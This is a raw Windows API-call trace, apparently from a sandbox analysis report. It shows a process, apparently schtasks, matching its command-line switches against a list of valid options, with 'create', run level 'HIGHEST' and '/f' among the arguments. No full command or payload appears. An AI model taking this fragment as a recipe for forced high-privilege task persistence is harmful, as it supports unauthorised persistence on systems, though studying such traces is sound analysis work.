_vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|ed|") returned 4 [0084.644] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rl|") returned 4 [0084.644] lstrlenW (lpString="|ed|") returned 4 [0084.644] lstrlenW (lpString="|rl|") returned 4 [0084.644] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0084.644] SetLastError (dwErrCode=0x490) [0084.644] lstrlenW (lpString="it") returned 2 [0084.644] lstrlenW (lpString="it") returned 2 [0084.644] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.644] lstrlenW (lpString="rl") returned 2 [0084.644] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.644] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|it|") returned 4 [0084.644] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rl|") returned 4 [0084.644] lstrlenW (lpString="|it|") returned 4 [0084.644] lstrlenW (lpString="|rl|") returned 4 [0084.644] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0084.644] SetLastError (dwErrCode=0x490) [0084.645] lstrlenW (lpString="et") returned 2 [0084.645] lstrlenW (lpString="et") returned 2 [0084.645] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.645] lstrlenW (lpString="rl") returned 2 [0084.645] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.645] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|et|") returned 4 [0084.645] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rl|") returned 4 [0084.645] lstrlenW (lpString="|et|") returned 4 [0084.645] lstrlenW (lpString="|rl|") returned 4 [0084.645] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0084.645] SetLastError (dwErrCode=0x490) [0084.645] lstrlenW (lpString="k") returned 1 [0084.645] lstrlenW (lpString="k") returned 1 [0084.645] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.645] lstrlenW (lpString="rl") returned 2 [0084.645] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.645] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|k|") returned 3 [0084.645] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rl|") returned 4 [0084.645] lstrlenW (lpString="|k|") returned 3 [0084.645] lstrlenW (lpString="|rl|") returned 4 [0084.645] SetLastError (dwErrCode=0x490) [0084.645] lstrlenW (lpString="du") returned 2 [0084.645] lstrlenW (lpString="du") returned 2 [0084.645] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.645] lstrlenW (lpString="rl") returned 2 [0084.646] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.646] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|du|") returned 4 [0084.646] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rl|") returned 4 [0084.646] lstrlenW (lpString="|du|") returned 4 [0084.646] lstrlenW (lpString="|rl|") returned 4 [0084.646] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0084.646] SetLastError (dwErrCode=0x490) [0084.646] lstrlenW (lpString="ri") returned 2 [0084.646] lstrlenW (lpString="ri") returned 2 [0084.646] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.646] lstrlenW (lpString="rl") returned 2 [0084.646] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.646] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|ri|") returned 4 [0084.646] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rl|") returned 4 [0084.646] lstrlenW (lpString="|ri|") returned 4 [0084.646] lstrlenW (lpString="|rl|") returned 4 [0084.646] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0084.646] SetLastError (dwErrCode=0x490) [0084.646] lstrlenW (lpString="z") returned 1 [0084.646] lstrlenW (lpString="z") returned 1 [0084.646] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.646] lstrlenW (lpString="rl") returned 2 [0084.646] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.646] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|z|") returned 3 [0084.647] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rl|") returned 4 [0084.647] lstrlenW (lpString="|z|") returned 3 [0084.647] lstrlenW (lpString="|rl|") returned 4 [0084.647] SetLastError (dwErrCode=0x490) [0084.647] lstrlenW (lpString="f") returned 1 [0084.647] lstrlenW (lpString="f") returned 1 [0084.647] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.647] lstrlenW (lpString="rl") returned 2 [0084.647] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.647] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|f|") returned 3 [0084.647] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rl|") returned 4 [0084.647] lstrlenW (lpString="|f|") returned 3 [0084.647] lstrlenW (lpString="|rl|") returned 4 [0084.647] SetLastError (dwErrCode=0x490) [0084.647] lstrlenW (lpString="v1") returned 2 [0084.647] lstrlenW (lpString="v1") returned 2 [0084.647] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.647] lstrlenW (lpString="rl") returned 2 [0084.647] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.647] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|v1|") returned 4 [0084.647] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rl|") returned 4 [0084.647] lstrlenW (lpString="|v1|") returned 4 [0084.647] lstrlenW (lpString="|rl|") returned 4 [0084.647] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0084.647] SetLastError (dwErrCode=0x490) [0084.647] lstrlenW (lpString="xml") returned 3 [0084.647] lstrlenW (lpString="xml") returned 3 [0084.648] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.648] lstrlenW (lpString="rl") returned 2 [0084.648] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.648] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|xml|") returned 5 [0084.648] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rl|") returned 4 [0084.648] lstrlenW (lpString="|xml|") returned 5 [0084.648] lstrlenW (lpString="|rl|") returned 4 [0084.648] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0084.648] SetLastError (dwErrCode=0x490) [0084.648] lstrlenW (lpString="ec") returned 2 [0084.648] lstrlenW (lpString="ec") returned 2 [0084.648] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.648] lstrlenW (lpString="rl") returned 2 [0084.648] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.648] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|ec|") returned 4 [0084.648] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rl|") returned 4 [0084.648] lstrlenW (lpString="|ec|") returned 4 [0084.648] lstrlenW (lpString="|rl|") returned 4 [0084.648] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0084.648] SetLastError (dwErrCode=0x490) [0084.648] lstrlenW (lpString="rl") returned 2 [0084.648] lstrlenW (lpString="rl") returned 2 [0084.648] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.648] lstrlenW (lpString="rl") returned 2 [0084.649] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.649] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rl|") returned 4 [0084.649] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rl|") returned 4 [0084.649] lstrlenW (lpString="|rl|") returned 4 [0084.649] lstrlenW (lpString="|rl|") returned 4 [0084.649] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0084.649] SetLastError (dwErrCode=0x0) [0084.649] SetLastError (dwErrCode=0x0) [0084.649] lstrlenW (lpString="HIGHEST") returned 7 [0084.649] lstrlenW (lpString="-/") returned 2 [0084.649] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0084.649] SetLastError (dwErrCode=0x490) [0084.649] SetLastError (dwErrCode=0x490) [0084.649] SetLastError (dwErrCode=0x0) [0084.649] lstrlenW (lpString="HIGHEST") returned 7 [0084.649] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0084.649] SetLastError (dwErrCode=0x490) [0084.649] SetLastError (dwErrCode=0x0) [0084.649] _memicmp (_Buf1=0x26d660, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.649] lstrlenW (lpString="HIGHEST") returned 7 [0084.649] lstrlenW (lpString="HIGHEST") returned 7 [0084.649] lstrlenW (lpString=" \x09") returned 2 [0084.649] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0084.649] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0084.649] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0084.649] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0084.649] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0084.650] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0084.650] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0084.650] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0084.650] GetLastError () returned 0x0 [0084.650] lstrlenW (lpString="HIGHEST") returned 7 [0084.650] lstrlenW (lpString="HIGHEST") returned 7 [0084.650] SetLastError (dwErrCode=0x0) [0084.650] SetLastError (dwErrCode=0x0) [0084.650] lstrlenW (lpString="/f") returned 2 [0084.650] lstrlenW (lpString="-/") returned 2 [0084.650] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0084.650] lstrlenW (lpString="create") returned 6 [0084.650] lstrlenW (lpString="create") returned 6 [0084.650] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.650] lstrlenW (lpString="f") returned 1 [0084.650] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.650] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|create|") returned 8 [0084.650] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|f|") returned 3 [0084.650] lstrlenW (lpString="|create|") returned 8 [0084.650] lstrlenW (lpString="|f|") returned 3 [0084.650] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0084.650] SetLastError (dwErrCode=0x490) [0084.650] lstrlenW (lpString="?") returned 1 [0084.650] lstrlenW (lpString="?") returned 1 [0084.650] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.650] lstrlenW (lpString="f") returned 1 [0084.651] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.651] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|?|") returned 3 [0084.651] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|f|") returned 3 [0084.651] lstrlenW (lpString="|?|") returned 3 [0084.651] lstrlenW (lpString="|f|") returned 3 [0084.651] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0084.651] SetLastError (dwErrCode=0x490) [0084.651] lstrlenW (lpString="s") returned 1 [0084.651] lstrlenW (lpString="s") returned 1 [0084.651] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.651] lstrlenW (lpString="f") returned 1 [0084.651] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.651] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|s|") returned 3 [0084.651] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|f|") returned 3 [0084.651] lstrlenW (lpString="|s|") returned 3 [0084.651] lstrlenW (lpString="|f|") returned 3 [0084.651] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0084.651] SetLastError (dwErrCode=0x490) [0084.651] lstrlenW (lpString="u") returned 1 [0084.651] lstrlenW (lpString="u") returned 1 [0084.651] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.651] lstrlenW (lpString="f") returned 1 [0084.651] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.651] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|u|") returned 3 [0084.651] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|f|") returned 3 [0084.652] lstrlenW (lpString="|u|") returned 3 [0084.652] lstrlenW (lpString="|f|") returned 3 [0084.652] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0084.652] SetLastError (dwErrCode=0x490) [0084.652] lstrlenW (lpString="p") returned 1 [0084.652] lstrlenW (lpString="p") returned 1 [0084.652] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.652] lstrlenW (lpString="f") returned 1 [0084.652] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.652] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|p|") returned 3 [0084.652] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|f|") returned 3 [0084.652] lstrlenW (lpString="|p|") returned 3 [0084.652] lstrlenW (lpString="|f|") returned 3 [0084.652] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0084.652] SetLastError (dwErrCode=0x490) [0084.652] lstrlenW (lpString="ru") returned 2 [0084.652] lstrlenW (lpString="ru") returned 2 [0084.652] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.652] lstrlenW (lpString="f") returned 1 [0084.652] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.652] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|ru|") returned 4 [0084.652] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|f|") returned 3 [0084.652] lstrlenW (lpString="|ru|") returned 4 [0084.652] lstrlenW (lpString="|f|") returned 3 [0084.652] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0084.653] SetLastError (dwErrCode=0x490) [0084.653] lstrlenW (lpString="rp") returned 2 [0084.653] lstrlenW (lpString="rp") returned 2 [0084.653] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.653] lstrlenW (lpString="f") returned 1 [0084.653] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.653] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rp|") returned 4 [0084.653] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|f|") returned 3 [0084.653] lstrlenW (lpString="|rp|") returned 4 [0084.653] lstrlenW (lpString="|f|") returned 3 [0084.653] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0084.653] SetLastError (dwErrCode=0x490) [0084.653] lstrlenW (lpString="sc") returned 2 [0084.653] lstrlenW (lpString="sc") returned 2 [0084.653] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.653] lstrlenW (lpString="f") returned 1 [0084.653] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.653] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|sc|") returned 4 [0084.653] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|f|") returned 3 [0084.659] lstrlenW (lpString="|sc|") returned 4 [0084.659] lstrlenW (lpString="|f|") returned 3 [0084.659] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0084.659] SetLastError (dwErrCode=0x490) [0084.659] lstrlenW (lpString="mo") returned 2 [0084.659] lstrlenW (lpString="mo") returned 2 [0084.659] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.659] lstrlenW (lpString="f") returned 1 [0084.660] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.660] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|mo|") returned 4 [0084.660] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|f|") returned 3 [0084.660] lstrlenW (lpString="|mo|") returned 4 [0084.660] lstrlenW (lpString="|f|") returned 3 [0084.660] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0084.660] SetLastError (dwErrCode=0x490) [0084.660] lstrlenW (lpString="d") returned 1 [0084.660] lstrlenW (lpString="d") returned 1 [0084.660] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.660] lstrlenW (lpString="f") returned 1 [0084.660] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.660] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|d|") returned 3 [0084.660] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|f|") returned 3 [0084.660] lstrlenW (lpString="|d|") returned 3 [0084.660] lstrlenW (lpString="|f|") returned 3 [0084.660] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0084.660] SetLastError (dwErrCode=0x490) [0084.660] lstrlenW (lpString="m") returned 1 [0084.660] lstrlenW (lpString="m") returned 1 [0084.660] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.660] lstrlenW (lpString="f") returned 1 [0084.660] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.660] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|m|") returned 3 [0084.660] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|f|") returned 3 [0084.661] lstrlenW (lpString="|m|") returned 3 [0084.661] lstrlenW (lpString="|f|") returned 3 [0084.661] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0084.661] SetLastError (dwErrCode=0x490) [0084.661] lstrlenW (lpString="i") returned 1 [0084.661] lstrlenW (lpString="i") returned 1 [0084.661] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.661] lstrlenW (lpString="f") returned 1 [0084.661] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.661] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|i|") returned 3 [0084.661] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|f|") returned 3 [0084.661] lstrlenW (lpString="|i|") returned 3 [0084.661] lstrlenW (lpString="|f|") returned 3 [0084.661] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0084.661] SetLastError (dwErrCode=0x490) [0084.661] lstrlenW (lpString="tn") returned 2 [0084.661] lstrlenW (lpString="tn") returned 2 [0084.661] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.661] lstrlenW (lpString="f") returned 1 [0084.661] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.661] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|tn|") returned 4 [0084.661] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|f|") returned 3 [0084.661] lstrlenW (lpString="|tn|") returned 4 [0084.661] lstrlenW (lpString="|f|") returned 3 [0084.661] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0084.662] SetLastError (dwErrCode=0x490) [0084.662] lstrlenW (lpString="tr") returned 2 [0084.662] lstrlenW (lpString="tr") returned 2 [0084.662] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.662] lstrlenW (lpString="f") returned 1 [0084.662] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.662] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|tr|") returned 4 [0084.662] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|f|") returned 3 [0084.662] lstrlenW (lpString="|tr|") returned 4 [0084.662] lstrlenW (lpString="|f|") returned 3 [0084.662] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0084.662] SetLastError (dwErrCode=0x490) [0084.662] lstrlenW (lpString="st") returned 2 [0084.662] lstrlenW (lpString="st") returned 2 [0084.662] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.662] lstrlenW (lpString="f") returned 1 [0084.662] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.662] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|st|") returned 4 [0084.662] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|f|") returned 3 [0084.662] lstrlenW (lpString="|st|") returned 4 [0084.662] lstrlenW (lpString="|f|") returned 3 [0084.662] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0084.662] SetLastError (dwErrCode=0x490) [0084.662] lstrlenW (lpString="sd") returned 2 [0084.662] lstrlenW (lpString="sd") returned 2 [0084.662] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.663] lstrlenW (lpString="f") returned 1 [0084.663] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.663] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|sd|") returned 4 [0084.663] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|f|") returned 3 [0084.663] lstrlenW (lpString="|sd|") returned 4 [0084.663] lstrlenW (lpString="|f|") returned 3 [0084.663] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0084.663] SetLastError (dwErrCode=0x490) [0084.663] lstrlenW (lpString="ed") returned 2 [0084.663] lstrlenW (lpString="ed") returned 2 [0084.663] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.663] lstrlenW (lpString="f") returned 1 [0084.663] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.663] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|ed|") returned 4 [0084.663] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|f|") returned 3 [0084.663] lstrlenW (lpString="|ed|") returned 4 [0084.663] lstrlenW (lpString="|f|") returned 3 [0084.663] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0084.663] SetLastError (dwErrCode=0x490) [0084.663] lstrlenW (lpString="it") returned 2 [0084.663] lstrlenW (lpString="it") returned 2 [0084.663] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.663] lstrlenW (lpString="f") returned 1 [0084.663] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.663] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|it|") returned 4 [0084.664] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|f|") returned 3 [0084.664] lstrlenW (lpString="|it|") returned 4 [0084.664] lstrlenW (lpString="|f|") returned 3 [0084.664] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0084.664] SetLastError (dwErrCode=0x490) [0084.664] lstrlenW (lpString="et") returned 2 [0084.664] lstrlenW (lpString="et") returned 2 [0084.664] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.664] lstrlenW (lpString="f") returned 1 [0084.664] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.664] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|et|") returned 4 [0084.664] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|f|") returned 3 [0084.664] lstrlenW (lpString="|et|") returned 4 [0084.664] lstrlenW (lpString="|f|") returned 3 [0084.664] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0084.664] SetLastError (dwErrCode=0x490) [0084.664] lstrlenW (lpString="k") returned 1 [0084.664] lstrlenW (lpString="k") returned 1 [0084.664] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.664] lstrlenW (lpString="f") returned 1 [0084.664] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.664] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|k|") returned 3 